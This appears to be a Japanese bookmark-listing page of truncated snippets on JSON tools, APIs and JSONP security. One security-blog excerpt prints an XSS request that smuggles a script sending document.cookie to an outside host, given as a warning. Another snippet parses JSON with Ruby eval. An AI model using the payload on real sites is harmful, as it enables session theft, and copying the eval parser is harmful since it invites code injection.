先日予告したSNBinderのオープンソース化、GitHubに簡単なREADME付きでアップロードしたのでご覧いただきたい。 https://github.com/snakajima/SNBinder SNBinderは、ひと言で言えば「ブラウザー上でView(テンプレート)とData(JSON)を結合して HTML を生成するテンプレートエンジン」である。 90年の半ばから急速に広まったインターネット。サーバー側でダイナミックに生成したHTMLページをブラウザーで閲覧するだけ、というシンプルでエレガントなアーキテクチャゆえの成功だ。しかし、ブラウザーの高機能化に伴い、JavaScriptを駆使して使いやすさを向上しようという試みが色々なウェブサイトで行われている。GMail、Google Docs、Facebookなどは良い例だ。 その方向性を究極にまで突き詰めると、サーバー側は(MVC
JSON Schema is a JSON based format for defining the structure of JSON data. 22日(米国時間)、JSON Schemaの4つ目にして最新のドラフト版がIETFにおいて公開された。わかりやすいサンプルと実装系はJSON Schemaにまとまっている。JSON Schemaの基本となるアイディアと実装は2008年には登場していたが、最初のドラフトが公開されたのは1年ほど前となる2009年12月。最初のドラフトが公開されてから1年が経過したことになる。 JSONはJavaScriptで評価するだけでオブジェクトとして利用できる手軽さから、JavaScriptにおけるデータ交換用のフォーマットとして広く普及している。可読性がありフォーマットそのものが簡単ということもあり高い支持を得ている。JSON SchemaはこのJSO
はてなグループの終了日を2020年1月31日(金)に決定しました 以下のエントリの通り、今年末を目処にはてなグループを終了予定である旨をお知らせしておりました。 2019年末を目処に、はてなグループの提供を終了する予定です - はてなグループ日記 このたび、正式に終了日を決定いたしましたので、以下の通りご確認ください。 終了日: 2020年1月31日(金) エクスポート希望申請期限:2020年1月31日(金) 終了日以降は、はてなグループの閲覧および投稿は行えません。日記のエクスポートが必要な方は以下の記事にしたがって手続きをしてください。 はてなグループに投稿された日記データのエクスポートについて - はてなグループ日記 ご利用のみなさまにはご迷惑をおかけいたしますが、どうぞよろしくお願いいたします。 2020-06-25 追記 はてなグループ日記のエクスポートデータは2020年2月28
もはや先月のことですが、楽天テクノロジーカンファレンス2010で発表してきました。 MessagePackについて、かなり詳しく紹介しています。 MessagePack Rakuten Technology Conference 2010View more presentations from frsyuki. Ustream.tvの録画はこちら MessagePackの概要(7ページ目〜) MessagePack は、It's like JSON, but very fast and small. のフレーズの通り、「JSONみたいに使えるけど速くて小さい」シリアライズ形式です。 JSONがテキスト形式のシリアライズフォーマットであるのに対し、MessagePackは様々な工夫を取り入れたバイナリ形式のシリアライズフォーマットです。 MessagePack-RPC は、MessagePa
Yahoo! Ajax Evangelist, Bill Scott氏は6日(米国時間)、Ajaxアプリケーションを開発するための新しいプロトタイプスクリプティング「Protoscript」を発表した。Protoscriptは既存のWebページに対して動作を追加することを目的としたスクリプト。かなりわかりやすい表記で動作を追加できるという特徴がある。 Protoscriptはいちからすべて開発されているのではなく、既存のプロダクトを組み合わせて機能が実現されている。まず、HTMLの要素を特定するためにjQueryが活用されているほか、動作やイベントへの対応にThe Yahoo User Interface LibraryやMooToolsが活用されている。 Webアプリケーションを開発するにあたって、UIを設計してから、そのUIに対して動作を付け足していく方法がある。直感的でわかりやすい方
Flashにjsonのデータを読ませたくて、json.asを使ってネットの情報を参考にして読んでみたが、Bad Stringであったり、謎のBad objectとかいうエラーが出てパース失敗しませんか? あちこち見て、僕が調べた範囲でのやりかた、 1.json.asをincludeする。 2.PHPとかから、「json_var = {JSONのデータ文字列}」の形でアウトプットする。 3.LoadVarsオブジェクトのonLoadイベントで、this.json_varで取れた文字をjson.asでパースする 終わり ・ ・ ・ コレ文字列によっては失敗しません? 僕もFlash久々だったので、そのまま鵜呑みにしてハマりました。 調べるとネット上では、サーバサイドで文字列を事前に"とか&を数値参照に変換しないとダメよ、なども出てくるので変換した。 「あれーJSONって、文字をUTF-8にさえ
はてなグループの終了日を2020年1月31日(金)に決定しました 以下のエントリの通り、今年末を目処にはてなグループを終了予定である旨をお知らせしておりました。 2019年末を目処に、はてなグループの提供を終了する予定です - はてなグループ日記 このたび、正式に終了日を決定いたしましたので、以下の通りご確認ください。 終了日: 2020年1月31日(金) エクスポート希望申請期限:2020年1月31日(金) 終了日以降は、はてなグループの閲覧および投稿は行えません。日記のエクスポートが必要な方は以下の記事にしたがって手続きをしてください。 はてなグループに投稿された日記データのエクスポートについて - はてなグループ日記 ご利用のみなさまにはご迷惑をおかけいたしますが、どうぞよろしくお願いいたします。 2020-06-25 追記 はてなグループ日記のエクスポートデータは2020年2月28
WebOS Goodies へようこそ! WebOS はインターネットの未来形。あらゆる Web サイトが繋がり、共有し、協力して創り上げる、ひとつの巨大な情報システムです。そこでは、あらゆる情報がネットワーク上に蓄積され、我々はいつでも、どこからでも、多彩なデバイスを使ってそれらにアクセスできます。 WebOS Goodies は、さまざまな情報提供やツール開発を通して、そんな世界の実現に少しでも貢献するべく活動していきます。 以前公開した前バージョンにはたくさんのアドバイス、リンクなどいただきまして、ありがとうございます。少々時間が経ってしまいましたが、あれからいろいろと勉強しまして、 strscan なる便利なライブラリが Ruby の標準ライブラリに含まれていることも知りました。それらをきちんと使えばコードをだいぶシンプルにできそうだったので、思い切って書き直してみました。まだまだ
De vorige eigenaar van de website had hier een JSON Editor, met de volgende boodschap. “This editor allows for easy editing of json strings, after loading a sample from the dropdown list click ‘build tree’, expand the tree, click nodes and start changing! Also try the xml2json functions for quickly converting xml to json.” Je kunt de oude hier nog in werking zien: https://web.archive.org/web/20150
はてなブックマークエントリー情報取得APIとは - はてなダイアリー http://b.hatena.ne.jp/entry/json/任意のURL を GET リクエストで送信することにより、JSON 形式でデータを取得することができます。 JSONPにも対応している。 関連記事: hail2u.net - Weblog - JSONP hail2u.net - Weblog - JSONScriptRequest 早速使っている例: UserJS Mania: livedoor Readerにはてなブックマークのコメントを表示する mキーを押すとエントリにつけられたブックマークコメントを取得して表示します。もう一回押すと隠します。 Opera 9.02RC1 と Firefox 1.5.0.7 + Greasemonkey 0.6.5.20060727で動作確認しました。 T
あるURLを指定して、そのURLが「del.icio.us」ブックマークサービスでどのくらい登録されているか調べるプログラムをRubyで作ってみたいと思います。 「del.icio.us」から、データを取得するためには、「JSON URL Feeds」サービスを利用します。 「JSON URL Feeds」の特徴は、次のとおりです。 ○調べたいURLのmd5ハッシュをパラメータとして渡す必要がある ○返されるデータ形式が「JSON」形式である そこで、準備としてRubyで「JSON」形式のデータを扱えるようにするために、「JSON library for Ruby」をインストールします。 インストールするには、次のコマンドを実行してください。 gem install json これで、準備完了です。早速、ソースコードを示したいと思います。 ○「delicious.rb」 「JSON」形式の
Download a raw-text version of this code by clicking on "Download Version" Latest Snippet Version: :4 # Build a SAFE JSON parser # and execute JSON parsing safely module SafeJSON require 'monitor' def SafeJSON.build_safe_json ret = nil waiter = '' waiter.extend(MonitorMixin) wait_cond = waiter.new_cond Thread.start do $SAFE = 4 ret = Proc.new {|json| eval(json.gsub(/(["'])\s*:\s*(['"-?
http://www.popxpop.com/archives/2007/02/yahoo_pipesbadger.html http://kentbrewster.com/badger/ なんだ、JSONだけじゃなくってJSONPもいけるんじゃん。いいぞいいぞ。 Yahoo Pipes http://pipes.yahoo.com/pipes/zIQi0Iy72xGJ3NMhJhOy0Q/run?_render=json&s=http://d.hatena.ne.jp/shinichitomita/rss&_callback=handleFeeds→テスト つまり、RSS2JSONPサービスとしても使えるってことだ。いままでにもそういうサービスはあったけど、ほとんど個人が好意でやってるものだった。非個人がサービスしているということ、しかもYahooという企業の信用レベルを考えればこれはす
« E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;
2007年6月7日 はてなブックマークのコメントをうけて、「常にJSONP、JSON、JavaScriptに機密事項を含めないように」という主張を改め、「クロスドメインアクセスの対策をとっていない状態ではJSONP、JSON、JavaScriptに機密事項を含めないように」という主張に関して記述しました。 こんにちは、SEの進地です。 今回から週単位でWebアプリケーションのセキュリティに関するエントリーを書いていこうと思います。 僕自身、日々勉強して精進というところですので、もし何らかの誤りがあれば是非ご指摘ください。 つっこみ大歓迎です。 今回取り上げるのはWeb 2.0なアプリケーションでセキュリティ面で気をつけるべきことの一つ、機密情報にJSONPでアクセスするなです。 JSON(JavaScript Object Notation)はJavaScript(ECMAScript)の
というのを作ってみた JsonML とは JSON を使ったマークアップ言語です。 http://jsonml.org/ 使いかた // テンプレートの作成 // <div class="section"><h2>タイトル</h2><p>本文本文本文</p></div> var t = $T(['div', {class: 'section'}, ['h2', 'タイトル'], ['p', '本文本文本文本文'] ]); // 要素の生成 document.body.appendChild(t()); // 呼び出すだけ // テンプレートの作成 var t = $T(['div', {class: 'section'}, ['h3', function(c){return c.getVar('title')}], // タイトルを動的に生成 ['p', function(c){retur
リリース、障害情報などのサービスのお知らせ
最新の人気エントリーの配信
処理を実行中です
j次のブックマーク
k前のブックマーク
lあとで読む
eコメント一覧を開く
oページを開く